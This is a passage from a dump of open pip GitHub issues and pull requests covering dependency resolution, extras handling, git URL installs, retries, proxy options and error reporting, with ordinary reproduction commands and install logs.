23.1.2

### Python version

3.11.3

### OS

alpine

### How to Reproduce

See description.

### Output

```
~ # pip install --no-cache-dir psutil
Collecting psutil
  Downloading psutil-5.9.5.tar.gz (493 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 493.5/493.5 kB 3.9 MB/s eta 0:00:00
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... done
Building wheels for collected packages: psutil
  Building wheel for psutil (pyproject.toml) ... done
  Created wheel for psutil: filename=psutil-5.9.5-cp311-abi3-linux_x86_64.whl size=274372 sha256=982672ee0b70da28e06d9cb4470fb0daec32df0a394addd569cb1aed88d256bd
  Stored in directory: /tmp/pip-ephem-wheel-cache-xivhj57g/wheels/d0/3f/6a/c3f82d406cd630dc70b35f9b124c75bc2f4db2c6a32e3b2eb8
Successfully built psutil
Installing collected packages: psutil
Successfully installed psutil-5.9.5

~ # du
8       ./.cache/pip/selfcheck
20      ./.cache/pip/http/4/d/2/7/2
...
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: orgads
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12028: state: open
title: Does/can pip support a way to pin a dependency to the latest?
body: ### What's the problem this feature will solve?

I'm looking for a way to write a dependency version to pin it to the **latest** available at the time of install. That is, I'm looking to reduce [backtracking](https://pip.pypa.io/en/stable/topics/dependency-resolution/#possible-ways-to-reduce-backtracking) but also not need to update my requirements.txt files regularly.


For example, I discovered that the latest `awscli` is not compatible with the latest `pylint` due to a mutual `colorama` dependency (on windows):

```
The conflict is caused by:
    pylint 2.17.3 depends on colorama>=0.4.5; sys_platform == "win32"
    awscli 1.27.131 depends on colorama<0.4.5 and >=0.2.5
```

but the problem is that `awscli` has [many many many releases](https://pypi.org/project/awscli/#history), they seem to do a release every day or so, so backtracking through all that takes a very long time. But `awscli` is a more important dependency to me than `pylint`, so I'd like to just pin `awscli` to whatever its latest is and force `pip` to backtrack on `pylint` instead. But obviously it's impractical to update my `awscli` pin everyday.

### Describe the solution you'd like

I want is something that looks like:
```
$ cat requirements.txt
awscli==latest
```
where `latest` would resolve to `1.27.132` as of this writing.

### Alternative Solutions

I know I can specify a minimum version, and that's the best option I've found that works today. Another option is potentially to "compile" my requirements.txt, fetch the latest versions, and generate a new requirements.txt with the pins, but basically that's what I'm requesting `pip` handle on its own.

### Additional context

I know that `pip` already knows the version numbers, so it seems like it could be easy for `pip` to just use this information that it already has.

Ideally this could account for whether I want to allow pre-releases to be accepted as a "latest".

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: qci-amos
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12025: state: open
title: Parse out extras when selecting from constraints
body: Entries in constraints do not (cannot) contain extras, so when we try to select from them we must remove the extras. Those parsed extras should be attached back to the candidates after they are selected from the constraints.

Fix #12018.

The debugging part is much more interesting than actually fixing the issue.
user: uranusjr
issue_12023: state: open
title: Rich-formatted error message makes extras disappear
body: I found this interesting issue when looking into #12018. Essentially [Rich’s logging handler](https://rich.readthedocs.io/en/stable/logging.html) uses brackets for highlighting, but in certain situations pip’s error messages also contain brackets—most notably when showing requirements with extras—but we’re not escaping them appropriately.

The one instance I discovered the problem from is

https://github.com/pypa/pip/blob/8eeee223041a973642bb646d37ccfe0e6ff0a8f5/src/pip/_internal/resolution/resolvelib/factory.py#L213-L218

where `e` contains something like

```
inconsistent name: filename has 'pandas[performance]', but metadata has 'pandas'
```

but gets rendered in stdout as

```
inconsistent name: filename has 'pandas', but metadata has 'pandas'
```
user: uranusjr
labels: type: bug: A confirmed bug or unintended behavior
C: error messages: Improving error messages
issue_12022: state: open
title: Zip files containing wheel files in --find-links
body: ### What's the problem this feature will solve?

Pip currently lacks a good way to install multiple packages from a single file.

This is the use case: To install a package `x` together with its dependencies in disconnected machines (i.e., no open network connection).

The current best solution is to copy `x.whl` and its dependencies, say `y.whl` and `z.whl`, to the machines in question. If they are all in one directory, `pip install x --no-index --find-links=.` works well.

However, it's sometimes inconvenient to distribute many packages as separate files. Especially when there are many packages, and when package maintainers and the package users different people, it's convenient to put `x.whl`, `y.whl` and `z.whl` in a single archive, e.g. `x-and-deps.tar.gz` or `x-and-deps.zip`.

### Describe the solution you'd like

The suggested solution is to allow a command like `pip install x --no-index --find-links=x-and-deps.zip`. Pip would search for x and its dependencies within the zip file.

Pip already supports providing a directory on the local filesystem to `--find-links`, so a zip file on the local filesystem is a natural extension.

### Alternative Solutions

This would improve upon the current best solution I know, which is something like `unzip x-and-deps.zip && pip install x --no-index --find-links=x-and-deps/`.

### Additional context

Note that pip would need to continue supporting a similar type of command that is already supported, `pip install x --no-index --find-links=x.whl`. To do this, I think pip needs to looks at the file and see whether it is a package, or an archive containing packages.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: lg8080
labels: S: awaiting response: Waiting for a response/more information
type: feature request: Request for a new feature
issue_12021: state: open
title: Discrepancy between the behavior of `pip install <from wheel (or local project path)>` & `pip install -r requirements.txt` when there is a dependency defined in git scheme with subdirectory
body: ### Description

__WHEN__ a project defines its dependency on a package in git scheme with subdirectory, and the project is installed like:

```bash
$ pip install <the project's wheel file>
```

 or 
 
```bash
/the_project
$ pip install <some local project path>
```

__THEN__ it exits with`ERROR: <some package>@ git+https://github.com/<username>/<repo>@<branch> from git+https://github.com/<username>/<repo>@<branch> (from <some package>==0.1) does not appear to be a Python project: neither 'setup.py' nor 'pyproject.toml' found.`

e.g. 

__GIVEN:__

There is a repo with 2 python projects in src-layout hierarchy.

```bash
~/github.com/toransahu/python-mono-repo on  main! ⌚ 21:35:31
$ tree -L 5
.
├── README.md
├── project-1
│   └── src
│       ├── package1
│       │   └── __init__.py
│       ├── requirements.txt
│       └── setup.py
└── project-2
    └── src
        ├── package2
        │   └── __init__.py
        ├── requirements.txt
        └── setup.py

6 directories, 7 files
```

Where:
1. package1 (of project-1) depends on package2 (of project2)
2. ```bash
    $ cat project-2/src/requirements.txt
    black
    ```
3. ```bash
    $ cat project-1/src/requirements.txt
    package2@ git+https://github.com/toransahu/python-mono-repo@aa242c5bb7ea1410ad6868b624a96adc81789854#subdirectory=project-2/src
    ```    

and I want to install package1 (of project) as dependency of some other project.

Ref: https://github.com/toransahu/python-mono-repo.git

__WHEN:__

```bash
(.venv)
~/github.com/toransahu/python-mono-repo/project-1/src on  main! ⌚ 17:35:31
$ pip install .
```

__THEN:__

```bash
Processing /Users/toran/disk/E/workspace/github.com/toransahu/python-mono-repo/project-1/src
  Preparing metadata (setup.py) ... done
Collecting package2@ git+https://github.com/toransahu/python-mono-repo@aa242c5bb7ea1410ad6868b624a96adc81789854
  Cloning https://github.com/toransahu/python-mono-repo (to revision aa242c5bb7ea1410ad6868b624a96adc81789854) to /private/var/folders/d0/662q9l995f9263wnvs
4m497r0000gq/T/pip-install-kc7m79dp/package2_e569d8a2256443c0b26332eb042f4d8d
  Running command git clone --filter=blob:none --quiet https://github.com/toransahu/python-mono-repo /private/var/folders/d0/662q9l995f9263wnvs4m497r0000gq/T/pip-install-kc7m79dp/package2_e569d8a2256443c0b26332eb042f4d8d
  Running command git rev-parse -q --verify 'sha^aa242c5bb7ea1410ad6868b624a96adc81789854'
  Running command git fetch -q https://github.com/toransahu/python-mono-repo aa242c5bb7ea1410ad6868b624a96adc81789854
  Resolved https://github.com/toransahu/python-mono-repo to commit aa242c5bb7ea1410ad6868b624a96adc81789854
ERROR: package2@ git+https://github.com/toransahu/python-mono-repo@aa242c5bb7ea1410ad6868b624a96adc81789854 from git+https://github.com/toransahu/python-mono-repo@aa242c5bb7ea1410ad6868b624a96adc81789854 (from package1==0.1) does not appear to be a Python project: neither 'setup.py' nor 'pyproject.toml' found.

[notice] A new release of pip is available: 23.0.1 -> 23.1.2
[notice] To update, run: pip install --upgrade pip
```


__BUT WHEN:__

```
~/github.com/toransahu/python-mono-repo/project-1/src on  main! ⌚ 17:35:21
$ pip install -r requirements.txt
```

__THEN:__

```
Collecting package2@ git+https://github.com/toransahu/python-mono-repo@aa242c5bb7ea1410ad6868b624a96adc81789854#subdirectory=project-2/src
  Using cached package2-0.1-py3-none-any.whl
Collecting black
  Using cached black-23.3.0-cp39-cp39-macosx_10_16_x86_64.whl (1.5 MB)
Collecting platformdirs>=2
  Using cached platformdirs-3.5.0-py3-none-any.whl (15 kB)
Collecting typing-extensions>=3.10.0.0
  Using cached typing_extensions-4.5.0-py3-none-any.whl (27 kB)
Collecting click>=8.0.0
  Using cached click-8.1.3-py3-none-any.whl (96 kB)
Collecting pathspec>=0.9.0
  Using cached pathspec-0.11.1-py3-none-any.whl (29 kB)
Collecting tomli>=1.1.0
  Using cached tomli-2.0.1-py3-none-any.whl (12 kB)
Collecting mypy-extensions>=0.4.3
  Using cached mypy_extensions-1.0.0-py3-none-any.whl (4.7 kB)
Collecting packaging>=22.0
  Using cached packaging-23.1-py3-none-any.whl (48 kB)
Installing collected packages: typing-extensions, tomli, platformdirs, pathspec, packaging, mypy-extensions, click, black, package2
Successfully installed black-23.3.0 click-8.1.3 mypy-extensions-1.0.0 package2-0.1 packaging-23.1 pathspec-0.11.1 platformdirs-3.5.0 tomli-2.0.1 typing-extensions-4.5.0

[notice] A new release of pip is available: 23.0.1 -> 23.1.2
[notice] To update, run: pip install --upgrade pip
```



### Expected behavior

__WHEN:__

```bash
(.venv)
~/github.com/toransahu/python-mono-repo/project-1/src on  main! ⌚ 17:35:31
$ pip install .
```

__THEN:__

```bash
Processing /Users/toran/disk/E/workspace/github.com/toransahu/python-mono-repo/project-1/src
  Preparing metadata (setup.py) ... done
Collecting package2@ git+https://github.com/toransahu/python-mono-repo@aa242c5bb7ea1410ad6868b624a96adc81789854#subdirectory=project-2/src
  Using cached package2-0.1-py3-none-any.whl
Collecting black
  Using cached black-23.3.0-cp39-cp39-macosx_10_16_x86_64.whl (1.5 MB)
Collecting platformdirs>=2
  Using cached platformdirs-3.5.0-py3-none-any.whl (15 kB)
Collecting typing-extensions>=3.10.0.0
  Using cached typing_extensions-4.5.0-py3-none-any.whl (27 kB)
Collecting click>=8.0.0
  Using cached click-8.1.3-py3-none-any.whl (96 kB)
Collecting pathspec>=0.9.0
  Using cached pathspec-0.11.1-py3-none-any.whl (29 kB)
Collecting tomli>=1.1.0
  Using cached tomli-2.0.1-py3-none-any.whl (12 kB)
Collecting mypy-extensions>=0.4.3
  Using cached mypy_extensions-1.0.0-py3-none-any.whl (4.7 kB)
Collecting packaging>=22.0
  Using cached packaging-23.1-py3-none-any.whl (48 kB)
Installing collected packages: typing-extensions, tomli, platformdirs, pathspec, packaging, mypy-extensions, click, black, package2
Successfully installed black-23.3.0 click-8.1.3 mypy-extensions-1.0.0 package2-0.1 packaging-23.1 pathspec-0.11.1 platformdirs-3.5.0 tomli-2.0.1 typing-extensions-4.5.0

[notice] A new release of pip is available: 23.0.1 -> 23.1.2
[notice] To update, run: pip install --upgrade pip
```

### pip version

23.0.1

### Python version

3.9

### OS

MacOS Monterey (v12.6.5)

### How to Reproduce

```bash
$ git clone https://github.com/toransahu/python-mono-repo
$ cd python-mono-repo
$ virtualenv .venv
$ . .venv/bin/activate
$ cd project-1/src
$ pip install .
```

### Output

```bash
Processing /Users/toran/disk/E/workspace/github.com/toransahu/python-mono-repo/project-1/src
  Preparing metadata (setup.py) ... done
Collecting package2@ git+https://github.com/toransahu/python-mono-repo@aa242c5bb7ea1410ad6868b624a96adc81789854
  Cloning https://github.com/toransahu/python-mono-repo (to revision aa242c5bb7ea1410ad6868b624a96adc81789854) to /private/var/folders/d0/662q9l995f9263wnvs
4m497r0000gq/T/pip-install-kc7m79dp/package2_e569d8a2256443c0b26332eb042f4d8d
  Running command git clone --filter=blob:none --quiet https://github.com/toransahu/python-mono-repo /private/var/folders/d0/662q9l995f9263wnvs4m497r0000gq/T/pip-install-kc7m79dp/package2_e569d8a2256443c0b26332eb042f4d8d
  Running command git rev-parse -q --verify 'sha^aa242c5bb7ea1410ad6868b624a96adc81789854'
  Running command git fetch -q https://github.com/toransahu/python-mono-repo aa242c5bb7ea1410ad6868b624a96adc81789854
  Resolved https://github.com/toransahu/python-mono-repo to commit aa242c5bb7ea1410ad6868b624a96adc81789854
ERROR: package2@ git+https://github.com/toransahu/python-mono-repo@aa242c5bb7ea1410ad6868b624a96adc81789854 from git+https://github.com/toransahu/python-mono-repo@aa242c5bb7ea1410ad6868b624a96adc81789854 (from package1==0.1) does not appear to be a Python project: neither 'setup.py' nor 'pyproject.toml' found.

[notice] A new release of pip is available: 23.0.1 -> 23.1.2
[notice] To update, run: pip install --upgrade pip
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: toransahu
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12018: state: open
title: AssertionError when installing a package with an extra and a URL constraint
body: ### Description

Building a docker image with the folloiwing Dockerfile with `docker build --no-cache .` throws `AssertionError`. Is this expected?

```Dockerfile
FROM python:3.8

RUN echo "pandas @ https://files.pythonhosted.org/packages/16/75/924e3a52c35cb105a152d29622d0f06bb0f48a677e77ddd6e11ef0004164/pandas-2.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl" > c.txt
RUN echo "pandas[performance]" > r.txt
RUN pip install -r r.txt -c c.txt
```

Output:

```
 > [4/4] RUN pip install -r r.txt -c c.txt:                                                                                                                                 
#7 2.247 ERROR: Exception:                                                                                                                                                  
#7 2.247 Traceback (most recent call last):                                                                                                                                 
#7 2.247   File "/usr/local/lib/python3.8/site-packages/pip/_internal/cli/base_command.py", line 167, in exc_logging_wrapper                                                
#7 2.247     status = run_func(*args)                                                                                                                                       
#7 2.247   File "/usr/local/lib/python3.8/site-packages/pip/_internal/cli/req_command.py", line 205, in wrapper
#7 2.247     return func(self, options, args)
#7 2.247   File "/usr/local/lib/python3.8/site-packages/pip/_internal/commands/install.py", line 339, in run
#7 2.247     requirement_set = resolver.resolve(
#7 2.247   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 94, in resolve
#7 2.247     result = self._result = resolver.resolve(
#7 2.247   File "/usr/local/lib/python3.8/site-packages/pip/_vendor/resolvelib/resolvers.py", line 481, in resolve
#7 2.247     state = resolution.resolve(requirements, max_rounds=max_rounds)
#7 2.247   File "/usr/local/lib/python3.8/site-packages/pip/_vendor/resolvelib/resolvers.py", line 348, in resolve
#7 2.247     self._add_to_criteria(self.state.criteria, r, parent=None)
#7 2.247   File "/usr/local/lib/python3.8/site-packages/pip/_vendor/resolvelib/resolvers.py", line 147, in _add_to_criteria
#7 2.247     matches = self._p.find_matches(
#7 2.247   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/provider.py", line 224, in find_matches
#7 2.247     return self._factory.find_candidates(
#7 2.247   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 420, in find_candidates
#7 2.247     explicit_candidates.update(
#7 2.247   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 375, in _iter_candidates_from_constraints
#7 2.247     candidate = self._make_candidate_from_link(
#7 2.247   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 215, in _make_candidate_from_link
#7 2.247     self._link_candidate_cache[link] = LinkCandidate(
#7 2.247   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 273, in __init__
#7 2.247     assert name == wheel_name, f"{name!r} != {wheel_name!r} for wheel"
#7 2.247 AssertionError: 'pandas[performance]' != 'pandas' for wheel
#7 2.480 WARNING: You are using pip version 22.0.4; however, version 23.1.2 is available.
#7 2.480 You should consider upgrading via the '/usr/local/bin/python -m pip install --upgrade pip' command.
```

I just wanted to make sure this is expected.

### Expected behavior

`pandas[performance]` is installed successfully.

### pip version

22.0.4;

### Python version

3.8

### OS

Linux

### How to Reproduce

See the description.

### Output

See the description.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: harupy
labels: type: bug: A confirmed bug or unintended behavior
C: dependency resolution: About choosing which dependencies to install
C: extras: Handling optional dependencies
C: direct url: Direct URL references (PEP 440, PEP 508, PEP 610)
issue_12011: state: open
title: Add --no-proxy option
body: Fix pypa/pip#5378

Add `--no-proxy` option which sets the `PipSession(requests.Session).trust_env` to `False` and also sets `PipSession(requests.Session).proxies` to `{"http": None, "https": None}`.  

Setting `trust_env` to `False` on `Session` will force `requests` to not pull proxy information from enviromental variables or system settings, which is the desired behavior for this feature.
user: martinezlc99
issue_12010: state: open
title: How to pass former --install-option flags via --config-settings since pip 23.1?
body: ### Description

I don't know if this is a bug or just a question....

Prior to pip 23.1 (e.g., 23.0.1) I was able to install my custom Python package with C++ extensions successfully on Windows using:

`pip install --install-option=build_ext --install-option="--library-dirs=/path/to/library" *.zip`

But the `--install-option` flag was removed in pip 23.1 via #11858.
So how do I now specify `--install-option` flags (such as `--library-dirs`) via `--config-settings` (or `--config-setting`) please?

I also asked this on SO [here](https://stackoverflow.com/questions/76112858/how-to-replace-pip-installs-removed-install-option-with-its-config-settings-equ), but have got no answer yet.

### Expected behavior

If this is possible with pip 23.1, please consider expanding on the docs for `--config-settings` at https://pip.pypa.io/en/stable/cli/pip_install/#cmdoption-C, or in the Examples section below.

### pip version

23.1.2

### Python version

3.7, 3.8

### OS

Windows

### How to Reproduce

1. Install pip 23.1 (e.g., in a Python 3.7 or 3.8 virtual environment created with `venv`.)
2. Try pip install of a  source archive on Windows, attempting to pass in any former `--install-option` flag via `--config-settings`. E.g., `--library-dirs` or `--libraries`.

### Output

Successful installation of a Python package from a source archive.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: cacti77
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12008: state: open
title: 502 Errors from PyPI are not surfaced
body: ### Description

There was a transient outage that caused 502s to be returned from PyPI's CDN edge.

Rather than surfacing this error, it appears that pip instead reported that no distributions were found:

```
ERROR: Could not find a version that satisfies the requirement billiard==3.6.4.0 (from versions: none)
ERROR: No matching distribution found for billiard==3.6.4.0
Error: Process completed with exit code 1.
```


### Expected behavior

pip should surface the error and perhaps retry rather than reporting that a version is not found.

### pip version

23.1.2

### Python version

3.11

### OS

Ubuntu GHA flavored

### How to Reproduce

Attempt to `pip install` from an index which returns 502 on simple requests.

Observe that rather than surfacing the error, pip reports that no distributions are available.

### Output

```
  pip install -U pip setuptools wheel
  pip install -r requirements.txt --no-deps
  pip install -r requirements/dev.txt
  pip check
  shell: /usr/bin/bash -e {0}
  env:
    BILLING_BACKEND: warehouse.subscriptions.services.MockStripeBillingService api_base=http://localhost:12111 api_version=2020-08-27
    pythonLocation: /opt/hostedtoolcache/Python/3.11.3/x64
    PKG_CONFIG_PATH: /opt/hostedtoolcache/Python/3.11.3/x64/lib/pkgconfig
    Python_ROOT_DIR: /opt/hostedtoolcache/Python/3.11.3/x64
    Python2_ROOT_DIR: /opt/hostedtoolcache/Python/3.11.3/x64
    Python3_ROOT_DIR: /opt/hostedtoolcache/Python/3.11.3/x64
    LD_LIBRARY_PATH: /opt/hostedtoolcache/Python/3.11.3/x64/lib
Requirement already satisfied: pip in /opt/hostedtoolcache/Python/3.11.3/x64/lib/python3.11/site-packages (22.3.1)
Collecting pip
  Using cached pip-23.1.2-py3-none-any.whl (2.1 MB)
Requirement already satisfied: setuptools in /opt/hostedtoolcache/Python/3.11.3/x64/lib/python3.11/site-packages (65.5.0)
Collecting setuptools
  Using cached setuptools-67.7.2-py3-none-any.whl (1.1 MB)
Collecting wheel
  Using cached wheel-0.40.0-py3-none-any.whl (64 kB)
Installing collected packages: wheel, setuptools, pip
  Attempting uninstall: setuptools
    Found existing installation: setuptools 65.5.0
    Uninstalling setuptools-65.5.0:
      Successfully uninstalled setuptools-65.5.0
  Attempting uninstall: pip
    Found existing installation: pip 22.3.1
    Uninstalling pip-22.3.1:
      Successfully uninstalled pip-22.3.1
Successfully installed pip-23.1.2 setuptools-67.7.2 wheel-0.40.0
Collecting alembic==1.10.4 (from -r requirements/main.txt (line 7))
  Using cached alembic-1.10.4-py3-none-any.whl (212 kB)
Collecting amqp==5.1.1 (from -r requirements/main.txt (line 11))
  Using cached amqp-5.1.1-py3-none-any.whl (50 kB)
Collecting argon2-cffi==21.3.0 (from -r requirements/main.txt (line 15))
  Using cached argon2_cffi-21.3.0-py3-none-any.whl (14 kB)
Collecting argon2-cffi-bindings==21.2.0 (from -r requirements/main.txt (line 19))
  Using cached argon2_cffi_bindings-21.2.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (86 kB)
Collecting asn1crypto==1.5.1 (from -r requirements/main.txt (line 42))
  Using cached asn1crypto-1.5.1-py2.py3-none-any.whl (105 kB)
Collecting async-timeout==4.0.2 (from -r requirements/main.txt (line 46))
  Using cached async_timeout-4.0.2-py3-none-any.whl (5.8 kB)
Collecting attrs==23.1.0 (from -r requirements/main.txt (line 50))
  Using cached attrs-23.1.0-py3-none-any.whl (61 kB)
Collecting automat==22.10.0 (from -r requirements/main.txt (line 54))
  Using cached Automat-22.10.0-py2.py3-none-any.whl (26 kB)
Collecting b2sdk==1.21.0 (from -r requirements/main.txt (line 58))
  Using cached b2sdk-1.21.0-py3-none-any.whl
Collecting babel==2.12.1 (from -r requirements/main.txt (line 61))
  Using cached Babel-2.12.1-py3-none-any.whl (10.1 MB)
Collecting bcrypt==4.0.1 (from -r requirements/main.txt (line 65))
  Using cached bcrypt-4.0.1-cp36-abi3-manylinux_2_28_x86_64.whl (593 kB)
ERROR: Could not find a version that satisfies the requirement billiard==3.6.4.0 (from versions: none)
ERROR: No matching distribution found for billiard==3.6.4.0
Error: Process completed with exit code 1.
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ewdurbin
labels: type: feature request: Request for a new feature
C: finder: PackageFinder and index related code
issue_11999: state: open
title: retries ignored for git+https
body: ### Description

The default --retries value of 5 seems to be ignored for git+https urls (in a requirements.txt file). This breaks our automated tests when GitHub has a hiccup - I don't think it's rate-limiting on GitHub's end but an actual connection problem.
```
Collecting zilliandomizer@ git+https://github.com/beauxq/zilliandomizer@cd6a940ad7b585c75a560b91468d6b9eee030559#0.5.2 (from -r D:\a\Archipelago\Archipelago\worlds\zillion\requirements.txt (line 1))
  Cloning https://github.com/beauxq/zilliandomizer (to revision cd6a940ad7b585c75a560b91468d6b9eee030559) to c:\users\runneradmin\appdata\local\temp\pip-install-cbhkaz6w\zilliandomizer_9b0850dcd6ee4e0693064274f957da7d
  Running command git clone --filter=blob:none --quiet https://github.com/beauxq/zilliandomizer 'C:\Users\runneradmin\AppData\Local\Temp\pip-install-cbhkaz6w\zilliandomizer_9b0850dcd6ee4e0693064274f957da7d'
  Running command git rev-parse -q --verify 'sha^cd6a940ad7b585c75a560b91468d6b9eee030559'
  Running command git fetch -q https://github.com/beauxq/zilliandomizer cd6a940ad7b585c75a560b91468d6b9eee030559
  fatal: unable to access 'https://github.com/beauxq/zilliandomizer/': Failed to connect to github.com port 443 after 21060 ms: Couldn't connect to server
  error: subprocess-exited-with-error
```
and pip does not retry.

This was previously reported in #4572 and never resolved afaict.
It should apply to all versions of python, pip and all OS, but I listed the ones of the last failed run below.

### Expected behavior

Pip retrying the failed clone or fetch.

### pip version

23.1.1

### Python version

3.10.11

### OS

windows-latest

### How to Reproduce

```bash
pip install git+https://localhost:1234/a/b@c  # with no server running on port 1234.
```

attempts only 1 download.

```bash
pip --help | grep retries -A1
```

reports 5 attempts should be made.

I'm not sure which error codes should lead to a retry and which shouldn't.

### Output

```
$ pip install git+https://localhost:1234/a/b@c
Defaulting to user installation because normal site-packages is not writeable
Collecting git+https://localhost:1234/a/b@c
  Cloning https://localhost:1234/a/b (to revision c) to /tmp/pip-req-build-u9i876zk
  Running command git clone --filter=blob:none --quiet https://localhost:1234/a/b /tmp/pip-req-build-u9i876zk
  fatal: unable to access 'https://localhost:1234/a/b/': Failed to connect to localhost port 1234 after 0 ms: Couldn't connect to server
  error: subprocess-exited-with-error
  
  × git clone --filter=blob:none --quiet https://localhost:1234/a/b /tmp/pip-req-build-u9i876zk did not run successfully.
  │ exit code: 128
  ╰─> See above for output.
  
  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× git clone --filter=blob:none --quiet https://localhost:1234/a/b /tmp/pip-req-build-u9i876zk did not run successfully.
│ exit code: 128
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.

$ pip --help | grep retries -A1
  --retries <retries>         Maximum number of retries each connection should
                              attempt (default 5 times).
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: black-sliver
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11994: state: open
title: ResolutionImpossible states it wants to install two different versions of the same package
body: ### Description

Get an ResolutionImpossible error that states `Cannot install glue-vispy-viewers==1.0.6 and glue-vispy-viewers==1.0.7 because these package versions have conflicting dependencies`

### Expected behavior

Getting a ResolutionImpossible is probably correct but it's confusing that it states it wants to install two different versions of the same package.

### pip version

23.1.1

### Python version

3.9.13

### OS

Windows

### How to Reproduce

1. py -3.9 -m pip download glue-vispy-viewers -d .\download --only-binary=:all: --platform win32

### Output

```
ERROR: Cannot install glue-vispy-viewers==1.0.6 and glue-vispy-viewers==1.0.7 because these package versions have conflicting dependencies.

The conflict is caused by:
    glue-vispy-viewers 1.0.7 depends on vispy>=0.9.1
    glue-vispy-viewers 1.0.6 depends on vispy>=0.9.1

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: notatallshaw
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11993: state: open
title: Display env vars for pip options in docs
body: Ref #8044

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: ctg123
issue_11990: state: open
title: When installing packages in virtual env allow skipping compatible packges that are already installed in the user dir
body: ### What's the problem this feature will solve?

Problem:
User has an existing environment (system packages, user packages). This environment might be hard to recreate from scratch (due to reasons like private package indexes, GIT installs, local zips/wheels, lack of build tools etc).

Our program needs to create a temporary virtual environment (system packages, user packages, new packages), run a program there and then delete the virtual environment.

We want to skip installing a package if it's already available in user's system packages or user packages.

This is very similar to what pip already does when using `--user` flag or installing in a virtual environment that has the `--system-site-packages` flag. But these cases are 2-layer (system+user or system+venv), while I need a 3-layer solution (system+user+venv).

### Describe the solution you'd like

1. I'd like pip to have a new or existing flag that would tell it to consider the user packages when installing packages into a virtual environment.
2. A more generic solution would be for pip and Python to have improved support for layering. For example, allowing any environment to have a pointer to a parent environment (similar to `include-system-site-packages` virtual environment option, but more generic).
3. Another alternative solution would be for pip to consider all the `PYTHONPATH` dir stack when deciding whether to install a package.

### Alternative Solutions

A pretty hacky workaround would be to "clone" the user environment into the virtual environment using `.pth` files.

### Additional context

Related issue: https://github.com/pypa/pip/issues/1443

https://stackoverflow.com/questions/75514895/creating-a-cheap-overlay-python-virtual-environment-on-top-of-current-one-with

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Ark-kun
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11989: state: open
title: Pinned dependency in requirements.txt works, but dependency in another package causes python version check problem
body: ### Description

Pinning dep versions in requirements.txt works as expected in general, but I found some weird behaviour.

Given this `requirements.txt`:

```
numba==0.57.0rc1
rocket-fft
```

Run `pip install -r requirements.txt`

In a python 3.10 environment, this works perfectly fine. The pinned numba version is installed. 

However, in a python 3.11 environment, while trying to setup `rocket-fft`, `pip` tries to install the latest stable `numba=0.56.4` (maybe because [rocket-fft requires `numba>=0.56.0`](https://github.com/styfenschaer/rocket-fft/blob/main/setup.py#L86)), which breaks because `numba==0.56` doesn't support python 3.11. (Hence why I pinned the `0.57.0rc1` in the `requirements.txt`). 


Error trace:

```
$ pip install -r requiements.txt
Collecting numba==0.57.0rc1 (from -r requirements.txt (line 1))
  Using cached numba-0.57.0rc1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (3.6 MB)
Collecting rocket-fft (from -r requirements.txt (line 2))
  Using cached rocket-fft-0.2.0.tar.gz (42 kB)
  Installing build dependencies ... error
  error: subprocess-exited-with-error

  × pip subprocess to install build dependencies did not run successfully.
  │ exit code: 1
  ╰─> [29 lines of output]
      Collecting setuptools>=59.2.0
        Using cached setuptools-67.7.1-py3-none-any.whl (1.1 MB)
      Collecting numba>=0.56.0
        Using cached numba-0.56.4.tar.gz (2.4 MB)
        Preparing metadata (setup.py): started
        Preparing metadata (setup.py): finished with status 'error'
        error: subprocess-exited-with-error

        × python setup.py egg_info did not run successfully.
        │ exit code: 1
        ╰─> [8 lines of output]
            Traceback (most recent call last):
              File "<string>", line 2, in <module>
